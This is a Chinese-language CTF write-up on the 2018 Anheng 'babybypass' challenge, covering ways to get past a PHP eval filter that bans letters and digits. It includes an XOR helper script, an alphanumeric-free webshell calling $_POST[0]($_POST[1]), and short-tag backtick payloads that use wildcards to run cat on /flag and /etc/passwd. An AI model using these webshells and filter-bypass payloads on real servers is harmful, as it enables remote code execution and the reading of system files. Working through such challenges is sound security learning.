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        <p>一开始看这题满脑子想的都是用异或来做，结果发现没办法调用getflag函数，看了别人的wp才发现思路错了。</p><h1 id="错误思路"><a href="#错误思路" class="headerlink" title="错误思路"></a>错误思路</h1><p>毕竟这个思路也蛮清奇，大概说一下吧：</p><p>思考这一个题目</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'code'</span>]))&#123;</span><br><span class="line">    $code = $_GET[<span class="string">'code'</span>];</span><br><span class="line">    <span class="keyword">if</span>(strlen($code)&gt;<span class="number">135</span>)&#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">"Long."</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span>(preg_match(<span class="string">"/[A-Za-z0-9]+/"</span>,$code))&#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">"NO."</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    @<span class="keyword">eval</span>($code);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getFlag</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">"Flag"</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><a id="more"></a>



<p>code参数由正则过滤了大小写字母以及数字，那么我们可以通过符号异或构造payload。</p>
<p>以下脚本可以打印出符号异或得到的值，经过试验26个字母的大小写都可以通过这种方法得到：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">xor</span><span class="params">()</span>:</span></span><br><span class="line">    arr=[chr(i) <span class="keyword">for</span> i <span class="keyword">in</span> range(ord(<span class="string">'a'</span>),ord(<span class="string">'z'</span>))]+[chr(i) <span class="keyword">for</span> i <span class="keyword">in</span> range(ord(<span class="string">'A'</span>),ord(<span class="string">'Z'</span>))]</span><br><span class="line">    test=[<span class="string">'`'</span>,<span class="string">'~'</span>,<span class="string">'!'</span>,<span class="string">'@'</span>,<span class="string">'%'</span>,<span class="string">'^'</span>,<span class="string">'*'</span>,<span class="string">'('</span>,<span class="string">')'</span>,<span class="string">'-'</span>,<span class="string">'+'</span>,<span class="string">'&#123;'</span>,<span class="string">'&#125;'</span>,<span class="string">'['</span>,<span class="string">']'</span>,<span class="string">':'</span>,<span class="string">'&lt;'</span>,<span class="string">'&gt;'</span>,<span class="string">'.'</span>,<span class="string">','</span>,<span class="string">';'</span>,<span class="string">'|'</span>]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> test:</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> test:</span><br><span class="line">            res=chr(ord(i)^ord(j))</span><br><span class="line">            <span class="keyword">if</span> res <span class="keyword">in</span> arr:</span><br><span class="line">                <span class="keyword">print</span> i,j,res</span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">[ &lt; g</span></span><br><span class="line"><span class="string">[ &gt; e</span></span><br><span class="line"><span class="string">] ) t</span></span><br><span class="line"><span class="string">| : F</span></span><br><span class="line"><span class="string">@ , l</span></span><br><span class="line"><span class="string">[ : a</span></span><br><span class="line"><span class="string">[ &lt; g</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">'[[]|@[['^'&lt;&gt;):,:&lt;'</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">    xor()</span><br></pre></td></tr></table></figure>
<p>可以看到 ‘[‘ ^’&lt;’ =’g’, ‘[‘^’&gt;’=’e’, …</p>
<p>那么使用<code>&#39;[[]|@[[&#39;^&#39;&lt;&gt;):,:&lt;&#39;</code>就可以得到字符串’getFlag’，下面就是怎么调用，想到 <code>$_=&#39;getFlag&#39;;$_();</code>等同于<code>getFlag();&#39;</code>, 那么使用<code>$_=&#39;[[]|@[[&#39;^&#39;&lt;&gt;):,:&lt;&#39;;$_();</code>就可以调用了，那么最后的payload就是<code>code=$_=&#39;[[]|@[[&#39;^&#39;&lt;&gt;):,:&lt;&#39;;$_();</code></p>
<p>按照此原理，可以构造出一句话比如：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">    @$_++; <span class="comment">// $_ = 1</span></span><br><span class="line">    $__=(<span class="string">"#"</span>^<span class="string">"|"</span>); <span class="comment">// $__ = _</span></span><br><span class="line">    $__.=(<span class="string">"."</span>^<span class="string">"~"</span>); <span class="comment">// _P</span></span><br><span class="line">    $__.=(<span class="string">"/"</span>^<span class="string">"`"</span>); <span class="comment">// _PO</span></span><br><span class="line">    $__.=(<span class="string">"|"</span>^<span class="string">"/"</span>); <span class="comment">// _POS</span></span><br><span class="line">    $__.=(<span class="string">"&#123;"</span>^<span class="string">"/"</span>); <span class="comment">// _POST </span></span><br><span class="line">    $&#123;$__&#125;[!$_]($&#123;$__&#125;[$_]); <span class="comment">// $_POST[0]($_POST[1]);</span></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h1 id="回到题目"><a href="#回到题目" class="headerlink" title="回到题目"></a>回到题目</h1><p>再看一下这道题目</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">// include 'flag.php';</span></span><br><span class="line"><span class="comment">// $code='[[]|@[['^'&lt;&gt;):,:&lt;';</span></span><br><span class="line"><span class="comment">// echo $code.'()';</span></span><br><span class="line"><span class="comment">// @eval($code);</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'code'</span>]))&#123;</span><br><span class="line">    $code = $_GET[<span class="string">'code'</span>];</span><br><span class="line">    <span class="keyword">if</span>(strlen($code)&gt;<span class="number">35</span>)&#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">"Long."</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span>(preg_match(<span class="string">"/[A-Za-z0-9_$]+/"</span>,$code))&#123; <span class="comment">//*</span></span><br><span class="line">        <span class="keyword">die</span>(<span class="string">"NO."</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    @<span class="keyword">eval</span>($code);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getFlag</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">"Flag"</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//$hint =  "php function getFlag() to get flag";</span></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>在正则过滤那边，可以看到<code>$</code>和<code>_</code>都被过滤了，这直接导致了即使用上述方法得到了字符串，也没办法执行php的函数（这里纠正一下，php7中我们是可以通过<code>(&#39;func_name&#39;)()</code>在执行函数的，这样其实我的错误思路是可行的，甚至在<a href="https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html" target="_blank" rel="noopener">无字母数字webshell之提高篇</a>中，作者直接使用了取反字符串的方法构造了payload）。正确的做法使用php短标签是直接读文件，考虑如下php代码：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?</span>= `ls`<span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>执行结果</p>
<p><img src="/ctf-2018安恒9月赛babybypass复现-无字母数字的webshell思考/1538795891202.png" alt="1538795891202"></p>
<p>可以看到，<code>&lt;?= ?&gt;</code>是php的短标签，效果等同于:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> <span class="keyword">echo</span> `ls` <span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>那么在eval中怎么用这个短标签呢？答案是先使用tag（<code>?&gt;</code>）离开当前模式，再使用短标签，即<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">接下来就是怎么绕过正则了，bash里面用通配符绕过就好了，即</span><br><span class="line"></span><br><span class="line">```bash</span><br><span class="line">cat /etc/passwd #替换为</span><br><span class="line">/???/??t /??c/p???w?</span><br></pre></td></tr></table></figure></p>
<p>因此paylaod为<code>code=?&gt;&lt;?=`/???/??? /???/???/????/*`;?&gt;</code> (<code>code=?&gt;&lt;?=` /bin/cat /var/www/html/*`;?&gt;)</code>, 会发现php代码里面的源代码getflag那一部分的函数是是从/flag里面读取的，那么构造<code>code=?&gt;&lt;?=`/???/??? /????`;?&gt;</code>相当于<code>code=?&gt;&lt;?=` /bin/cat /flag`;?&gt;</code>即可。</p>

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